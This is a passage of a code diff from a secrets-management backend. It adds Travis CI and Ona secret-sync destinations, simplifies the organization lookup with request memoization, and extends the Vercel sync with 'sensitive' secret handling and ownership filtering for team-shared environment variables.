-  [SecretSync.ExternalInfisical]: SecretSyncPlanType.Regular
+  [SecretSync.ExternalInfisical]: SecretSyncPlanType.Regular,
+  [SecretSync.Ona]: SecretSyncPlanType.Regular,
+  [SecretSync.TravisCI]: SecretSyncPlanType.Regular
 };
 
 export const SECRET_SYNC_SKIP_FIELDS_MAP: Record<SecretSync, string[]> = {
@@ -168,7 +174,9 @@ export const SECRET_SYNC_SKIP_FIELDS_MAP: Record<SecretSync, string[]> = {
   [SecretSync.OctopusDeploy]: [],
   [SecretSync.CircleCI]: [],
   [SecretSync.AzureEntraIdScim]: [],
-  [SecretSync.ExternalInfisical]: []
+  [SecretSync.ExternalInfisical]: [],
+  [SecretSync.Ona]: ["projectName"],
+  [SecretSync.TravisCI]: ["repositorySlug"]
 };
 
 const defaultDuplicateCheck: DestinationDuplicateCheckFn = () => true;
@@ -234,7 +242,9 @@ export const DESTINATION_DUPLICATE_CHECK_MAP: Record<SecretSync, DestinationDupl
   [SecretSync.OctopusDeploy]: defaultDuplicateCheck,
   [SecretSync.CircleCI]: defaultDuplicateCheck,
   [SecretSync.AzureEntraIdScim]: defaultDuplicateCheck,
-  [SecretSync.ExternalInfisical]: defaultDuplicateCheck
+  [SecretSync.ExternalInfisical]: defaultDuplicateCheck,
+  [SecretSync.Ona]: defaultDuplicateCheck,
+  [SecretSync.TravisCI]: defaultDuplicateCheck
 };
 
 /**
diff --git a/backend/src/services/secret-sync/secret-sync-service.ts b/backend/src/services/secret-sync/secret-sync-service.ts
index 6d1f472454a..e312f4ab1ef 100644
--- a/backend/src/services/secret-sync/secret-sync-service.ts
+++ b/backend/src/services/secret-sync/secret-sync-service.ts
@@ -13,10 +13,11 @@ import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
 import { DatabaseErrorCode } from "@app/lib/error-codes";
 import { BadRequestError, DatabaseError, NotFoundError } from "@app/lib/errors";
 import { deepEqualSkipFields } from "@app/lib/fn/object";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { OrgServiceActor } from "@app/lib/types";
 import { TAppConnectionServiceFactory } from "@app/services/app-connection/app-connection-service";
 import { TOrgDALFactory } from "@app/services/org/org-dal";
-import { TProjectDALFactory } from "@app/services/project/project-dal";
 import { TProjectBotServiceFactory } from "@app/services/project-bot/project-bot-service";
 import { TSecretFolderDALFactory } from "@app/services/secret-folder/secret-folder-dal";
 import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
@@ -63,7 +64,6 @@ type TSecretSyncServiceFactoryDep = {
   appConnectionService: Pick<TAppConnectionServiceFactory, "validateAppConnectionUsageById">;
   kmsService: Pick<TKmsServiceFactory, "createCipherPairWithDataKey">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission" | "getOrgPermission">;
-  projectDAL: Pick<TProjectDALFactory, "findById">;
   orgDAL: Pick<TOrgDALFactory, "findById">;
   projectBotService: Pick<TProjectBotServiceFactory, "getBotKey">;
   folderDAL: Pick<TSecretFolderDALFactory, "findByProjectId" | "findById" | "findBySecretPath">;
@@ -86,7 +86,6 @@ export const secretSyncServiceFactory = ({
   appConnectionService,
   kmsService,
   permissionService,
-  projectDAL,
   orgDAL,
   projectBotService,
   secretSyncQueue,
@@ -360,12 +359,11 @@ export const secretSyncServiceFactory = ({
         message: `Could not find folder with path "${secretPath}" in environment "${environment}" for project with ID "${projectId}"`
       });
 
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({ message: "Project not found" });
-    }
-
-    const organization = await orgDAL.findById(project.orgId);
+    // getProjectPermission above throws NotFoundError if the project doesn't exist and
+    // guarantees actor.orgId === project.orgId — no separate project lookup needed.
+    const organization = await requestMemoize(requestMemoKeys.orgFindById(actor.orgId), () =>
+      orgDAL.findById(actor.orgId)
+    );
     if (organization?.blockDuplicateSecretSyncDestinations) {
       const duplicateCheck = await checkDuplicateDestination(
         {
@@ -494,11 +492,11 @@ export const secretSyncServiceFactory = ({
     let { folderId } = secretSync;
 
     if (params.destinationConfig) {
-      const project = await projectDAL.findById(secretSync.projectId);
-      if (!project) {
-        throw new NotFoundError({ message: "Project not found" });
-      }
-      const organization = await orgDAL.findById(project.orgId);
+      // getProjectPermission above throws NotFoundError if the project doesn't exist and
+      // guarantees actor.orgId === project.orgId — no separate project lookup needed.
+      const organization = await requestMemoize(requestMemoKeys.orgFindById(actor.orgId), () =>
+        orgDAL.findById(actor.orgId)
+      );
 
       if (organization?.blockDuplicateSecretSyncDestinations) {
         const duplicateCheck = await checkDuplicateDestination(
diff --git a/backend/src/services/secret-sync/secret-sync-types.ts b/backend/src/services/secret-sync/secret-sync-types.ts
index dc2df1e2bc9..7252f901b7f 100644
--- a/backend/src/services/secret-sync/secret-sync-types.ts
+++ b/backend/src/services/secret-sync/secret-sync-types.ts
@@ -158,6 +158,7 @@ import {
   TOctopusDeploySyncListItem,
   TOctopusDeploySyncWithCredentials
 } from "./octopus-deploy";
+import { TOnaSync, TOnaSyncInput, TOnaSyncListItem, TOnaSyncWithCredentials } from "./ona";
 import {
   TRailwaySync,
   TRailwaySyncInput,
@@ -188,6 +189,7 @@ import {
   TTerraformCloudSyncListItem,
   TTerraformCloudSyncWithCredentials
 } from "./terraform-cloud";
+import { TTravisCISync, TTravisCISyncInput, TTravisCISyncListItem, TTravisCISyncWithCredentials } from "./travis-ci";
 import { TVercelSync, TVercelSyncInput, TVercelSyncListItem, TVercelSyncWithCredentials } from "./vercel";
 import { TZabbixSync, TZabbixSyncInput, TZabbixSyncListItem, TZabbixSyncWithCredentials } from "./zabbix";
 
@@ -227,7 +229,9 @@ export type TSecretSync =
   | TOctopusDeploySync
   | TCircleCISync
   | TAzureEntraIdScimSync
-  | TExternalInfisicalSync;
+  | TExternalInfisicalSync
+  | TOnaSync
+  | TTravisCISync;
 
 export type TSecretSyncWithCredentials =
   | TAwsParameterStoreSyncWithCredentials
@@ -266,7 +270,9 @@ export type TSecretSyncWithCredentials =
   | TOctopusDeploySyncWithCredentials
   | TCircleCISyncWithCredentials
   | TAzureEntraIdScimSyncWithCredentials
-  | TExternalInfisicalSyncWithCredentials;
+  | TExternalInfisicalSyncWithCredentials
+  | TOnaSyncWithCredentials
+  | TTravisCISyncWithCredentials;
 
 export type TSecretSyncInput =
   | TAwsParameterStoreSyncInput
@@ -305,7 +311,9 @@ export type TSecretSyncInput =
   | TOctopusDeploySyncInput
   | TCircleCISyncInput
   | TAzureEntraIdScimSyncInput
-  | TExternalInfisicalSyncInput;
+  | TExternalInfisicalSyncInput
+  | TOnaSyncInput
+  | TTravisCISyncInput;
 
 export type TSecretSyncListItem =
   | TAwsParameterStoreSyncListItem
@@ -344,7 +352,9 @@ export type TSecretSyncListItem =
   | TOctopusDeploySyncListItem
   | TCircleCISyncListItem
   | TAzureEntraIdScimSyncListItem
-  | TExternalInfisicalSyncListItem;
+  | TExternalInfisicalSyncListItem
+  | TOnaSyncListItem
+  | TTravisCISyncListItem;
 
 export type TSyncOptionsConfig = {
   canImportSecrets: boolean;
diff --git a/backend/src/services/secret-sync/travis-ci/index.ts b/backend/src/services/secret-sync/travis-ci/index.ts
new file mode 100644
index 00000000000..b38ee2d27d4
--- /dev/null
+++ b/backend/src/services/secret-sync/travis-ci/index.ts
@@ -0,0 +1,4 @@
+export * from "./travis-ci-sync-constants";
+export * from "./travis-ci-sync-fns";
+export * from "./travis-ci-sync-schemas";
+export * from "./travis-ci-sync-types";
diff --git a/backend/src/services/secret-sync/travis-ci/travis-ci-sync-constants.ts b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-constants.ts
new file mode 100644
index 00000000000..e78e4b13247
--- /dev/null
+++ b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-constants.ts
@@ -0,0 +1,11 @@
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
+import { TSecretSyncListItem } from "@app/services/secret-sync/secret-sync-types";
+
+export const TRAVIS_CI_SYNC_LIST_OPTION: TSecretSyncListItem = {
+  name: "Travis CI",
+  destination: SecretSync.TravisCI,
+  connection: AppConnection.TravisCI,
+  canRemoveSecretsOnDeletion: true,
+  canImportSecrets: false
+};
diff --git a/backend/src/services/secret-sync/travis-ci/travis-ci-sync-fns.ts b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-fns.ts
new file mode 100644
index 00000000000..77022b5ec0e
--- /dev/null
+++ b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-fns.ts
@@ -0,0 +1,222 @@
+/* eslint-disable no-await-in-loop */
+/* eslint-disable no-continue */
+import { isAxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { IntegrationUrls } from "@app/services/integration-auth/integration-list";
+import { SecretSyncError } from "@app/services/secret-sync/secret-sync-errors";
+import { matchesSchema } from "@app/services/secret-sync/secret-sync-fns";
+import { TSecretMap } from "@app/services/secret-sync/secret-sync-types";
+
+import { SECRET_SYNC_NAME_MAP } from "../secret-sync-maps";
+import { TTravisCIEnvVar, TTravisCISyncWithCredentials } from "./travis-ci-sync-types";
+
+const BASE_DELAY_MS = 100;
+const MAX_DELAY_MS = 5000;
+const MAX_RETRIES = 5;
+
+const sleep = (ms: number) =>
+  new Promise<void>((resolve) => {
+    setTimeout(resolve, ms);
+  });
+
+type Throttle = {
+  wait: () => Promise<void>;
+  bumpOn429: () => void;
+};
+
+const makeThrottle = (): Throttle => {
+  let currentDelayMs = BASE_DELAY_MS;
+  return {
+    wait: () => sleep(currentDelayMs),
+    bumpOn429: () => {
+      currentDelayMs = Math.min(currentDelayMs * 2, MAX_DELAY_MS);
+    }
+  };
+};
+
+const makeRequestWithRetry = async <T>(throttle: Throttle, requestFn: () => Promise<T>, attempt = 0): Promise<T> => {
+  await throttle.wait();
+  try {
+    return await requestFn();
+  } catch (error) {
+    if (isAxiosError(error) && error.response?.status === 429 && attempt < MAX_RETRIES) {
+      throttle.bumpOn429();
+      return makeRequestWithRetry(throttle, requestFn, attempt + 1);
+    }
+    throw error;
+  }
+};
+
+const travisCIApiHeaders = (apiToken: string) => ({
+  Authorization: `token ${apiToken}`,
+  "Travis-API-Version": "3",
+  Accept: "application/json"
+});
+
+const getRepoEnvVars = async (
+  apiToken: string,
+  repositoryId: string,
+  throttle: Throttle
+): Promise<TTravisCIEnvVar[]> => {
+  const { data } = await makeRequestWithRetry(throttle, () =>
+    request.get<{ env_vars: TTravisCIEnvVar[] }>(
+      `${IntegrationUrls.TRAVISCI_API_URL}/repo/${encodeURIComponent(repositoryId)}/env_vars`,
+      { headers: travisCIApiHeaders(apiToken) }
+    )
+  );
+
+  return data?.env_vars ?? [];
+};
+
+const filterByScope = (
+  envVars: TTravisCIEnvVar[],
+  destinationConfig: TTravisCISyncWithCredentials["destinationConfig"]
+): TTravisCIEnvVar[] => {
+  if (destinationConfig.branch) {
+    return envVars.filter((envVar) => envVar.branch === destinationConfig.branch);
+  }
+
+  return envVars.filter((envVar) => envVar.branch === null);
+};
+
+type TTravisCIEnvVarUpsertBody = {
+  "env_var.name": string;
+  "env_var.value": string;
+  "env_var.public": boolean;
+  "env_var.branch"?: string;
+};
+
+const upsertRepoEnvVar = async ({
+  apiToken,
+  repositoryId,
+  existingEnvVarId,
+  body,
+  throttle
+}: {
+  apiToken: string;
+  repositoryId: string;
+  existingEnvVarId?: string;
+  body: TTravisCIEnvVarUpsertBody;
+  throttle: Throttle;
+}): Promise<void> => {
+  const headers = { ...travisCIApiHeaders(apiToken), "Content-Type": "application/json" };
+  const encodedRepoId = encodeURIComponent(repositoryId);
+
+  if (existingEnvVarId) {
+    await makeRequestWithRetry(throttle, () =>
+      request.patch(
+        `${IntegrationUrls.TRAVISCI_API_URL}/repo/${encodedRepoId}/env_var/${encodeURIComponent(existingEnvVarId)}`,
+        body,
+        { headers }
+      )
+    );
+    return;
+  }
+
+  await makeRequestWithRetry(throttle, () =>
+    request.post(`${IntegrationUrls.TRAVISCI_API_URL}/repo/${encodedRepoId}/env_vars`, body, { headers })
+  );
+};
+
+export const TravisCISyncFns = {
+  async getSecrets(secretSync: TTravisCISyncWithCredentials): Promise<TSecretMap> {
+    throw new Error(`${SECRET_SYNC_NAME_MAP[secretSync.destination]} does not support importing secrets.`);
+  },
+
+  async syncSecrets(secretSync: TTravisCISyncWithCredentials, secretMap: TSecretMap): Promise<void> {
+    const {
+      connection: {
+        credentials: { apiToken }
+      },
+      destinationConfig,
+      environment,
+      syncOptions: { disableSecretDeletion, keySchema }
+    } = secretSync;
+
+    const throttle = makeThrottle();
+    const envVars = await getRepoEnvVars(apiToken, destinationConfig.repositoryId, throttle);
+    const scopedEnvVars = filterByScope(envVars, destinationConfig);
+    const scopedByName = Object.fromEntries(scopedEnvVars.map((envVar) => [envVar.name, envVar]));
+
+    for (const key of Object.keys(secretMap)) {
+      try {
+        const entry = secretMap[key];
+        const body: TTravisCIEnvVarUpsertBody = {
+          "env_var.name": key,
+          "env_var.value": entry.value,
+          "env_var.public": false
+        };
+
+        const { branch } = destinationConfig;
+        if (typeof branch === "string" && branch.length > 0) {
+          body["env_var.branch"] = branch;
+        }
+
+        await upsertRepoEnvVar({
+          apiToken,
+          repositoryId: destinationConfig.repositoryId,
+          existingEnvVarId: scopedByName[key]?.id,
+          body,
+          throttle
+        });
+      } catch (error) {
+        throw new SecretSyncError({ error, secretKey: key });
+      }
+    }
+
+    if (disableSecretDeletion) return;
+
+    // check if it is possible to delete in bulk
+
+    for (const envVar of scopedEnvVars) {
+      if (!matchesSchema(envVar.name, environment?.slug || "", keySchema)) continue;
+      if (envVar.name in secretMap) continue;
+
+      try {
+        await makeRequestWithRetry(throttle, () =>
+          request.delete(
+            `${IntegrationUrls.TRAVISCI_API_URL}/repo/${encodeURIComponent(
+              destinationConfig.repositoryId
+            )}/env_var/${encodeURIComponent(envVar.id)}`,
+            { headers: travisCIApiHeaders(apiToken) }
+          )
+        );
+      } catch (error) {
+        if (isAxiosError(error) && error.response?.status === 404) continue;
+        throw new SecretSyncError({ error, secretKey: envVar.name });
+      }
+    }
+  },
+
+  async removeSecrets(secretSync: TTravisCISyncWithCredentials, secretMap: TSecretMap): Promise<void> {
+    const {
+      connection: {
+        credentials: { apiToken }
+      },
+      destinationConfig
+    } = secretSync;
+
+    const throttle = makeThrottle();
+    const envVars = await getRepoEnvVars(apiToken, destinationConfig.repositoryId, throttle);
+    const scopedEnvVars = filterByScope(envVars, destinationConfig);
+
+    for (const envVar of scopedEnvVars) {
+      if (!(envVar.name in secretMap)) continue;
+
+      try {
+        await makeRequestWithRetry(throttle, () =>
+          request.delete(
+            `${IntegrationUrls.TRAVISCI_API_URL}/repo/${encodeURIComponent(
+              destinationConfig.repositoryId
+            )}/env_var/${encodeURIComponent(envVar.id)}`,
+            { headers: travisCIApiHeaders(apiToken) }
+          )
+        );
+      } catch (error) {
+        if (isAxiosError(error) && error.response?.status === 404) continue;
+        throw new SecretSyncError({ error, secretKey: envVar.name });
+      }
+    }
+  }
+};
diff --git a/backend/src/services/secret-sync/travis-ci/travis-ci-sync-schemas.ts b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-schemas.ts
new file mode 100644
index 00000000000..9354a10bf85
--- /dev/null
+++ b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-schemas.ts
@@ -0,0 +1,60 @@
+import { z } from "zod";
+
+import { SecretSyncs } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
+import {
+  BaseSecretSyncSchema,
+  GenericCreateSecretSyncFieldsSchema,
+  GenericUpdateSecretSyncFieldsSchema
+} from "@app/services/secret-sync/secret-sync-schemas";
+import { TSyncOptionsConfig } from "@app/services/secret-sync/secret-sync-types";
+
+import { SECRET_SYNC_NAME_MAP } from "../secret-sync-maps";
+
+const TravisCISyncDestinationConfigSchema = z.object({
+  repositoryId: z
+    .string()
+    .trim()
+    .min(1, "Repository ID is required")
+    .describe(SecretSyncs.DESTINATION_CONFIG.TRAVIS_CI.repositoryId),
+  repositorySlug: z
+    .string()
+    .trim()
+    .min(1, "Repository slug is required")
+    .describe(SecretSyncs.DESTINATION_CONFIG.TRAVIS_CI.repositorySlug),
+  branch: z.string().trim().min(1).optional().describe(SecretSyncs.DESTINATION_CONFIG.TRAVIS_CI.branch)
+});
+
+const TravisCISyncOptionsConfig: TSyncOptionsConfig = { canImportSecrets: false };
+
+export const TravisCISyncSchema = BaseSecretSyncSchema(SecretSync.TravisCI, TravisCISyncOptionsConfig)
+  .extend({
+    destination: z.literal(SecretSync.TravisCI),
+    destinationConfig: TravisCISyncDestinationConfigSchema
+  })
+  .describe(JSON.stringify({ title: SECRET_SYNC_NAME_MAP[SecretSync.TravisCI] }));
+
+export const CreateTravisCISyncSchema = GenericCreateSecretSyncFieldsSchema(
+  SecretSync.TravisCI,
+  TravisCISyncOptionsConfig
+).extend({
+  destinationConfig: TravisCISyncDestinationConfigSchema
+});
+
+export const UpdateTravisCISyncSchema = GenericUpdateSecretSyncFieldsSchema(
+  SecretSync.TravisCI,
+  TravisCISyncOptionsConfig
+).extend({
+  destinationConfig: TravisCISyncDestinationConfigSchema.optional()
+});
+
+export const TravisCISyncListItemSchema = z
+  .object({
+    name: z.literal("Travis CI"),
+    connection: z.literal(AppConnection.TravisCI),
+    destination: z.literal(SecretSync.TravisCI),
+    canImportSecrets: z.literal(false),
+    canRemoveSecretsOnDeletion: z.literal(true)
+  })
+  .describe(JSON.stringify({ title: SECRET_SYNC_NAME_MAP[SecretSync.TravisCI] }));
diff --git a/backend/src/services/secret-sync/travis-ci/travis-ci-sync-types.ts b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-types.ts
new file mode 100644
index 00000000000..1f6d56cc7d3
--- /dev/null
+++ b/backend/src/services/secret-sync/travis-ci/travis-ci-sync-types.ts
@@ -0,0 +1,23 @@
+import { z } from "zod";
+
+import { TTravisCIConnection } from "@app/services/app-connection/travis-ci";
+
+import { CreateTravisCISyncSchema, TravisCISyncListItemSchema, TravisCISyncSchema } from "./travis-ci-sync-schemas";
+
+export type TTravisCISyncListItem = z.infer<typeof TravisCISyncListItemSchema>;
+
+export type TTravisCISync = z.infer<typeof TravisCISyncSchema>;
+
+export type TTravisCISyncInput = z.infer<typeof CreateTravisCISyncSchema>;
+
+export type TTravisCISyncWithCredentials = TTravisCISync & {
+  connection: TTravisCIConnection;
+};
+
+export type TTravisCIEnvVar = {
+  id: string;
+  name: string;
+  value: string | null;
+  public: boolean;
+  branch: string | null;
+};
diff --git a/backend/src/services/secret-sync/vercel/vercel-sync-fns.ts b/backend/src/services/secret-sync/vercel/vercel-sync-fns.ts
index 730270f74d6..c12896f3f2e 100644
--- a/backend/src/services/secret-sync/vercel/vercel-sync-fns.ts
+++ b/backend/src/services/secret-sync/vercel/vercel-sync-fns.ts
@@ -228,7 +228,7 @@ const createSecret = async (
       {
         key,
         value: secretMap[key].value,
-        type: "encrypted",
+        type: destinationConfig.sensitive ? "sensitive" : "encrypted",
         target: isVercelDefaultEnvType(destinationConfig.env) ? [destinationConfig.env] : [],
         customEnvironmentIds: !isVercelDefaultEnvType(destinationConfig.env) ? [destinationConfig.env] : [],
         ...(destinationConfig.env === VercelEnvironmentType.Preview && destinationConfig.branch
@@ -320,6 +320,27 @@ const updateSecret = async (
 
 // ===== Team-scoped shared environment variable functions =====
 
+type TeamDestinationConfig = Extract<TVercelSyncWithCredentials["destinationConfig"], { scope: VercelSyncScope.Team }>;
+
+const setsEqual = (a: readonly string[] | undefined, b: readonly string[] | undefined) => {
+  const av = a ?? [];
+  const bv = b ?? [];
+  if (av.length !== bv.length) return false;
+  const bSet = new Set(bv);
+  return av.every((v) => bSet.has(v));
+};
+
+const isTeamSharedEnvVarOwnedByThisSync = (envVar: VercelSharedEnvVar, destinationConfig: TeamDestinationConfig) => {
+  const expectedType = destinationConfig.sensitive ? "sensitive" : "encrypted";
+  if (envVar.type !== expectedType) return false;
+
+  const effectiveTargets = destinationConfig.sensitive
+    ? destinationConfig.targetEnvironments?.filter((env) => env !== VercelEnvironmentType.Development)
+    : destinationConfig.targetEnvironments;
+
+  return setsEqual(envVar.target, effectiveTargets) && setsEqual(envVar.projectId, destinationConfig.targetProjects);
+};
+
 const listTeamSharedEnvVarsWithRetries = async (
   secretSync: TVercelSyncWithCredentials
 ): Promise<VercelSharedEnvVar[]> => {
@@ -431,6 +452,19 @@ const getTeamSharedEnvVars = async (secretSync: TVercelSyncWithCredentials): Pro
   return envVarsWithValues;
 };
 
+const getOwnedTeamSharedEnvVars = async (secretSync: TVercelSyncWithCredentials): Promise<VercelSharedEnvVar[]> => {
+  if (secretSync.destinationConfig.scope !== VercelSyncScope.Team) {
+    throw new SecretSyncError({
+      message: "Invalid scope for team-level Vercel secret sync",
+      shouldRetry: false
+    });
+  }
+
+  const teamDestinationConfig = secretSync.destinationConfig;
+  const allSharedEnvVars = await getTeamSharedEnvVars(secretSync);
+  return allSharedEnvVars.filter((envVar) => isTeamSharedEnvVarOwnedByThisSync(envVar, teamDestinationConfig));
+};
+
 const createTeamSharedEnvVar = async (
   secretSync: TVercelSyncWithCredentials,
   key: string,
@@ -451,6 +485,24 @@ const createTeamSharedEnvVar = async (
     });
   }
 
+  // When sensitive is enabled, the Development environment is not supported by Vercel.
+  const effectiveTargetEnvironments = destinationConfig.targetEnvironments?.filter(
+    (env) => !destinationConfig.sensitive || env !== VercelEnvironmentType.Development
+  );
+
+  if (
+    destinationConfig.sensitive &&
+    !destinationConfig.applyToAllCustomEnvironments &&
+    (!effectiveTargetEnvironments || effectiveTargetEnvironments.length === 0)
+  ) {
+    throw new SecretSyncError({
+      message:
+        "Marking secrets as sensitive in Vercel is not supported for development environments. Add another target environment or disable Sensitive.",
+      secretKey: key,
+      shouldRetry: false
+    });
+  }
+
   try {
     const { data: createResponse } = await request.post<{
       created: VercelSharedEnvVar[];
@@ -459,9 +511,10 @@ const createTeamSharedEnvVar = async (
       `${IntegrationUrls.VERCEL_API_URL}/v1/env?teamId=${destinationConfig.teamId}`,
       {
         evs: [{ key, value }],
-        type: "encrypted",
-        ...(destinationConfig.targetEnvironments?.length ? { target: destinationConfig.targetEnvironments } : {}),
-        ...(destinationConfig.targetProjects !== undefined ? { projectId: destinationConfig.targetProjects } : {})
+        type: destinationConfig.sensitive ? "sensitive" : "encrypted",
+        ...(effectiveTargetEnvironments?.length ? { target: effectiveTargetEnvironments } : {}),
+        ...(destinationConfig.targetProjects !== undefined ? { projectId: destinationConfig.targetProjects } : {}),
+        applyToAllCustomEnvironments: Boolean(destinationConfig.applyToAllCustomEnvironments)
       },
       {
         headers: {
@@ -508,6 +561,26 @@ const updateTeamSharedEnvVar = async (
     });
   }
 
+  const isExistingSensitive = envVar.type === "sensitive";
+
+  // When sensitive is enabled, the Development environment is not supported by Vercel.
+  const effectiveTargetEnvironments = destinationConfig.targetEnvironments?.filter(
+    (env) => !(destinationConfig.sensitive || isExistingSensitive) || env !== VercelEnvironmentType.Development
+  );
+
+  if (
+    (destinationConfig.sensitive || isExistingSensitive) &&
+    !destinationConfig.applyToAllCustomEnvironments &&
+    (!effectiveTargetEnvironments || effectiveTargetEnvironments.length === 0)
+  ) {
+    throw new SecretSyncError({
+      message:
+        "Marking secrets as sensitive in Vercel is not supported for development environments. Add another target environment or disable Sensitive.",
+      secretKey: envVar.key,
+      shouldRetry: false
+    });
+  }
+
   try {
     const { data: updateResponse } = await request.patch<{
       updated: VercelSharedEnvVar[];
@@ -518,8 +591,9 @@ const updateTeamSharedEnvVar = async (
         updates: {
           [envVar.id]: {
             value,
-            ...(destinationConfig.targetEnvironments?.length ? { target: destinationConfig.targetEnvironments } : {}),
-            ...(destinationConfig.targetProjects !== undefined ? { projectId: destinationConfig.targetProjects } : {})
+            ...(effectiveTargetEnvironments !== undefined ? { target: effectiveTargetEnvironments } : {}),
+            ...(destinationConfig.targetProjects !== undefined ? { projectId: destinationConfig.targetProjects } : {}),
+            applyToAllCustomEnvironments: Boolean(destinationConfig.applyToAllCustomEnvironments)
           }
         }
       },
@@ -599,38 +673,69 @@ const deleteTeamSharedEnvVar = async (
 export const VercelSyncFns = {
   syncSecrets: async (secretSync: TVercelSyncWithCredentials, secretMap: TSecretMap) => {
     if (secretSync.destinationConfig.scope === VercelSyncScope.Team) {
-      const sharedEnvVars = await getTeamSharedEnvVars(secretSync);
-      const sharedEnvVarsMap = new Map(sharedEnvVars.map((s) => [s.key, s]));
+      const allSharedEnvVars = await getTeamSharedEnvVars(secretSync);
+      const sharedEnvVarsMap = new Map(allSharedEnvVars.map((s) => [s.key, s]));
 
-      const { targetEnvironments, targetProjects } = secretSync.destinationConfig;
+      const { targetEnvironments, targetProjects, sensitive, applyToAllCustomEnvironments } =
+        secretSync.destinationConfig;
 
       for await (const key of Object.keys(secretMap)) {
         const existingVar = sharedEnvVarsMap.get(key);
 
         if (!existingVar) {
           await createTeamSharedEnvVar(secretSync, key, secretMap[key].value);
-        } else {
-          const hasValueChanged = existingVar.value !== secretMap[key].value;
+          // eslint-disable-next-line no-continue
+          continue;
+        }
 
-          const hasTargetChanged = targetEnvironments?.length
-            ? existingVar.target.length !== targetEnvironments.length ||
-              !targetEnvironments.every((env) => existingVar.target.includes(env))
-            : false;
+        // Vercel does not allow changing a secret's `type` between encrypted and sensitive
+        // via PATCH, so we delete and recreate when the desired sensitivity differs.
+        const existingIsSensitive = existingVar.type === "sensitive";
+        const sensitivityChanged = existingIsSensitive !== Boolean(sensitive);
+
+        if (sensitivityChanged) {
+          await deleteTeamSharedEnvVar(secretSync, existingVar);
+          await createTeamSharedEnvVar(secretSync, key, secretMap[key].value);
+          // eslint-disable-next-line no-continue
+          continue;
+        }
 
-          const hasProjectsChanged = targetProjects
-            ? (existingVar.projectId?.length ?? 0) !== targetProjects.length ||
-              !targetProjects.every((pid) => existingVar.projectId?.includes(pid))
+        const hasValueChanged = existingVar.value !== secretMap[key].value;
+
+        // Sensitive secrets cannot target Development in Vercel — strip before comparing.
+        const isSensitive = sensitive || existingVar.type === "sensitive";
+        const effectiveTargets = targetEnvironments?.filter(
+          (env) => !isSensitive || env !== VercelEnvironmentType.Development
+        );
+
+        const existingTarget = existingVar.target ?? [];
+        const hasTargetChanged =
+          effectiveTargets !== undefined
+            ? existingTarget.length !== effectiveTargets.length ||
+              !effectiveTargets.every((env) => existingTarget.includes(env))
             : false;
 
-          if (hasValueChanged || hasTargetChanged || hasProjectsChanged) {
-            await updateTeamSharedEnvVar(secretSync, existingVar, secretMap[key].value);
-          }
+        const hasProjectsChanged = targetProjects
+          ? (existingVar.projectId?.length ?? 0) !== targetProjects.length ||
+            !targetProjects.every((pid) => existingVar.projectId?.includes(pid))
+          : false;
+
+        const hasAllCustomChanged =
+          Boolean(applyToAllCustomEnvironments) !== (existingVar.applyToAllCustomEnvironments ?? false);
+
+        if (hasValueChanged || hasTargetChanged || hasProjectsChanged || hasAllCustomChanged) {
+          await updateTeamSharedEnvVar(secretSync, existingVar, secretMap[key].value);
         }
       }
 
       if (secretSync.syncOptions.disableSecretDeletion) return;
 
-      for await (const sharedEnvVar of sharedEnvVars) {
+      const teamDestinationConfig = secretSync.destinationConfig;
+      const ownedEnvVars = allSharedEnvVars.filter((envVar) =>
+        isTeamSharedEnvVarOwnedByThisSync(envVar, teamDestinationConfig)
+      );
+
+      for await (const sharedEnvVar of ownedEnvVars) {
         if (!matchesSchema(sharedEnvVar.key, secretSync.environment?.slug || "", secretSync.syncOptions.keySchema))
           // eslint-disable-next-line no-continue
           continue;
@@ -652,6 +757,18 @@ export const VercelSyncFns = {
 
       if (!existingSecret) {
         await createSecret(secretSync, secretMap, key);
+        // eslint-disable-next-line no-continue
+        continue;
+      }
+
+      // Vercel does not allow changing a secret's `type` between encrypted and sensitive
+      // via PATCH, so we delete and recreate when the desired sensitivity differs.
+      const existingIsSensitive = existingSecret.type === "sensitive";
+      const sensitivityChanged = existingIsSensitive !== Boolean(secretSync.destinationConfig.sensitive);
+
+      if (sensitivityChanged) {
+        await deleteSecret(secretSync, existingSecret);
+        await createSecret(secretSync, secretMap, key);
       } else if (existingSecret.value !== secretMap[key].value) {
         await updateSecret(secretSync, secretMap, existingSecret);
       }
@@ -673,7 +790,7 @@ export const VercelSyncFns = {
 
   getSecrets: async (secretSync: TVercelSyncWithCredentials): Promise<TSecretMap> => {
     if (secretSync.destinationConfig.scope === VercelSyncScope.Team) {
-      const sharedEnvVars = await getTeamSharedEnvVars(secretSync);
+      const sharedEnvVars = await getOwnedTeamSharedEnvVars(secretSync);
       return Object.fromEntries(sharedEnvVars.map((s) => [s.key, { value: s.value ?? "" }]));
     }
 
@@ -683,7 +800,7 @@ export const VercelSyncFns = {
 
   removeSecrets: async (secretSync: TVercelSyncWithCredentials, secretMap: TSecretMap) => {
     if (secretSync.destinationConfig.scope === VercelSyncScope.Team) {
-      const sharedEnvVars = await getTeamSharedEnvVars(secretSync);
+      const sharedEnvVars = await getOwnedTeamSharedEnvVars(secretSync);
 
       for await (const sharedEnvVar of sharedEnvVars) {
         if (sharedEnvVar.key in secretMap) {
diff --git a/backend/src/services/secret-sync/vercel/vercel-sync-schemas.ts b/backend/src/services/secret-sync/vercel/vercel-sync-schemas.ts
index 36f60f463c9..930f56a82fd 100644
--- a/backend/src/services/secret-sync/vercel/vercel-sync-schemas.ts
+++ b/backend/src/services/secret-sync/vercel/vercel-sync-schemas.ts
@@ -13,26 +13,56 @@ import { TSyncOptionsConfig } from "@app/services/secret-sync/secret-sync-types"
 import { SECRET_SYNC_NAME_MAP } from "../secret-sync-maps";
